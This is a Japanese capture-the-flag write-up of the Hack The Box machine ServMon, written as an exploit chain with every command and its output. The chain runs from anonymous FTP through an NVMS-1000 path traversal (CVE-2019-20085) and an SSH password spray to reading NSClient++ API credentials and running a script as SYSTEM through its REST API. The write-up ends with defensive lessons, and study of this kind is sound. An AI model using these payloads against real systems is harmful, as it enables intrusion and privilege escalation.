Hack The BoxのWriteup(ServMon)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: ServMon — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80/445/8443
→
FTP匿名ログイン
Confidential.txt のヒント
→
NVMS-1000 LFI
CVE-2019-20085
→
Passwords.txt 7件
SSHパスワードスプレー
→
nadine SSH
user.txt ✓
→
nsclient.ini 読取
NSClient++パスワード
→
SSHトンネル + REST API
localhostのみ許可を回避
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -T4 -p 21,22,80,135,139,445,8443,5985 10.129.227.77
RESULT
Nmap scan report for megahosting.htb (10.129.227.77)
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
135/tcp  open   msrpc
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
8443/tcp open   https-alt
✅
ターゲット確認: ホスト名megahosting.htb、 FTP+SSH+NVMS想定の80番+NSClient++想定の8443番という組み合わせから HackTheBox ServMon (Easy Windows) と一致することを確認。
PHASE 2

FTP匿名ログイン — ヒントファイルの発見

FTP匿名ログインでファイル一覧 & Confidential.txt取得

BASH
curl -s ftp://anonymous:anonymous@10.129.227.77/Users/
curl -s ftp://anonymous:anonymous@10.129.227.77/Users/Nadine/Confidential.txt
curl -s ftp://anonymous:anonymous@10.129.227.77/Users/Nathan/
RESULT
Users/
  Nadine/
  Nathan/

--- Confidential.txt ---
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this
once you have edited it yourself and place it back into the secure folder.

Regards
Nadine

Nathan/
  Notes to do.txt
✅
重要な手掛かり: NadineがNathanのDesktopに Passwords.txtを一時的に置いたまま回収し忘れている、という 社内メモが匿名FTPから丸見えになっている。次のフェーズでこのファイルパスを Webサーバー経由でLFIするのが攻略の鍵になる。
PHASE 3

NVMS-1000 パストラバーサル (CVE-2019-20085) → Passwords.txt

攻撃原理

NOTE
ポート80で動作する NVMS-1000 (監視カメラ管理ソフトウェア) には
既知のディレクトリトラバーサル脆弱性 CVE-2019-20085 が存在する。
生の "../" はルーティング側でブロックされるが、URLエンコードした
"%2F..%2F" を使うとフィルタを回避できる。

Passwords.txt の取得

BASH
curl -s "http://10.129.227.77/%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FNathan%2FDesktop%2FPasswords.txt"
RESULT
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
✅
7つの候補パスワードを取得。トラバーサルの深さは %2F..%2Fを6回繰り返す必要がある(Webルートから C:\まで遡るのに必要な階層数)。
PHASE 4

SSHパスワードスプレー → user.txt

パスワードスプレーで有効な資格情報を特定

BASH
# nadine / nathan / administrator × 上記7パスワードを総当たり
sshpass -p 'L1k3B1gBut7s@W0rk' ssh -o PreferredAuthentications=password \
  -o PubkeyAuthentication=no nadine@10.129.227.77 "whoami"
RESULT
servmon\nadine
✅
nadine:L1k3B1gBut7s@W0rkでSSHログイン成功。本来 Nathan 用だった パスワードリストの中に、実はNadine自身のパスワードも 混在していたことになる。

user.txt 取得

BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.129.227.77 \
  "type C:\Users\Nadine\Desktop\user.txt"
RESULT
8a9a1e63fe9a879395f609586a68cad1
user.txt — nadine (SSH)
8a9a1e63fe9a879395f609586a68cad1
PHASE 5

NSClient++ REST API 悪用 → root.txt

nsclient.ini からAPIパスワードを取得

BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@10.129.227.77 \
  'type "C:\Program Files\NSClient++\nsclient.ini"'
RESULT
password = ew2x6SsGTxjRwXOT
allowed hosts = 127.0.0.1
⚠️
ハマりポイント: NSClient++のREST APIは allowed hosts = 127.0.0.1によりlocalhostからのみ アクセス可能。外部から直接8443番に叩いても拒否されるため、SSHの ローカルポートフォワーディングで迂回する必要がある。

SSHトンネル確立

BASH
sshpass -p 'L1k3B1gBut7s@W0rk' ssh -N -L 18443:127.0.0.1:8443 nadine@10.129.227.77 &
sleep 3
curl -s -k -H "password: ew2x6SsGTxjRwXOT" "https://127.0.0.1:18443/api/v1/"
RESULT
{"info_url":"...","queries_url":"https://127.0.0.1:18443/api/v1/queries",
 "scripts_url":"https://127.0.0.1:18443/api/v1/scripts"}
✅
ローカル18443番からターゲットの127.0.0.1:8443番へトンネルが確立し、 REST APIへの到達を確認。認証はpassword:という 独自HTTPヘッダ(Basic認証ではない)で行う。

スクリプトアップロード & SYSTEM権限での実行

BASH
# root.txt を type するだけの .bat スクリプトを登録
printf 'type C:\\Users\\Administrator\\Desktop\\root.txt\r\n' | \
  curl -s -k -H "password: ew2x6SsGTxjRwXOT" -X PUT --data-binary @- \
  "https://127.0.0.1:18443/api/v1/scripts/ext/scripts/getroot.bat"

# アップロードしたスクリプトを "クエリ" として実行
curl -s -k -H "password: ew2x6SsGTxjRwXOT" \
  "https://127.0.0.1:18443/api/v1/queries/getroot/commands/execute?time=1m"
RESULT
Added getroot as scripts\getroot.bat

{"command":"getroot","lines":[{"message":"\r\nC:\\Program Files\\NSClient++>type
C:\\Users\\Administrator\\Desktop\\root.txt \r\n16349a069f83ab79e8a72211024b78ad",
"perf":{}}],"result":0}
root.txt — NSClient++サービス (NT AUTHORITY\SYSTEM) 経由
16349a069f83ab79e8a72211024b78ad
✅
NSClient++サービス自体はSYSTEM権限で稼働しているため、 登録したスクリプトを「クエリ」として実行させればroot.txtを 直接読み取れる。実行結果はファイルに書き出す必要すら無く、API応答のJSON messageフィールドに標準出力がそのまま含まれる。

後始末

BASH
kill %1   # SSHトンネルプロセスを終了
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — nadine (SSH)
8a9a1e63fe9a879395f609586a68cad1
root.txt — NSClient++経由 (SYSTEM)
16349a069f83ab79e8a72211024b78ad

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
匿名FTPアクセス FTPサーバー 社内メモの漏洩 Medium 認証無しでユーザーフォルダを閲覧し、パスワードファイルの場所を示す ヒントを入手
CVE-2019-20085 (NVMS-1000 LFI) NVMS-1000 Webサーバー (80) 任意ファイル読み取り Critical URLエンコードしたパストラバーサルでC:\上の任意ファイルを読み取り
パスワード再利用 nadine (Windowsローカルアカウント) SSHでの認証突破 High 漏洩したパスワードリストをSSHパスワードスプレーで試行
平文パスワードの設定ファイル保存 NSClient++ nsclient.ini 監視エージェントAPIの認証情報漏洩 Critical 一般ユーザー権限で読み取り可能な設定ファイルにAPIパスワードが平文記載
SYSTEM権限で動く監視エージェントのスクリプト実行機能 NSClient++ REST API (8443) 権限昇格 (SYSTEM) Critical SSHトンネルでlocalhost限定アクセス制限を回避し、任意スクリプトを SYSTEM権限で実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap21/22/80/445/8443開放
2情報漏洩FTP匿名ログインPasswords.txtの場所のヒント
3LFINVMS-1000 パストラバーサル (CVE-2019-20085)7件のパスワード候補
4認証突破SSHパスワードスプレーuser.txt、nadineシェル
5権限昇格SSHトンネル + NSClient++ REST APIroot.txt

学んだ教訓 & 防御策

問題点防御策
FTPサーバーの匿名ログインが有効で社内メモが閲覧できる 匿名アクセスを無効化し、内部向けメモを公開領域に置かない。
既知の公開脆弱性(CVE-2019-20085)が存在する旧バージョンの 監視カメラソフトを運用している サードパーティ製ソフトウェアも定期的にパッチ適用・バージョン管理する。
複数ユーザー間でパスワードを再利用・共有している ユーザーごとに一意で強固なパスワードを強制し、パスワードマネージャーを 導入する。
監視エージェントのAPIパスワードが設定ファイルに平文で保存され、 一般ユーザーから読み取れる 機密情報を含む設定ファイルはACLで管理者のみ読み取り可能にし、 可能ならシークレット管理サービスを利用する。
SYSTEM権限で動くサービスのAPIに任意スクリプトのアップロード・実行機能がある 監視エージェントのスクリプト実行機能は必要最小限に無効化し、 許可ホスト制限だけに依存しない多層防御を行う。
HackTheBox: ServMon | 完全攻略レポート